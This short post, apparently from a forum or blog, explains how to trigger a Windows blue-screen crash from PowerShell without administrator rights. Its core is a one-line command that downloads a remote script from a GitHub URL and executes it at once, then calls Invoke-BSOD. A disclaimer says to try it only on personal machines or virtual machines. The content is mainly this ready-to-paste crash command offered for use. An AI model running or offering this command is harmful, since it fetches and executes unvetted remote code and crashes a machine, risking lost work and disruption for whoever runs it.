You can actually cause a BSOD on windows using Powershell without admin permissions. No I am not talking about the old way which involves writing the good old script wininit
but that requires Admin permissions.
Note: DO THIS ON YOUR PERSONAL COMPUTER, VIRTUAL MACHINE OR DOCKER. DO NOT ATTEMPT TO DO THIS ON SCHOOL OR WORK COMPUTERS. WE ARE NOT RESPONSIBLE FOR ANY DAMAGE.
Here is the script:
IEX((New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1'));Invoke-BSOD
Also Note that some Antivirus Software's block Powershell from executing this script.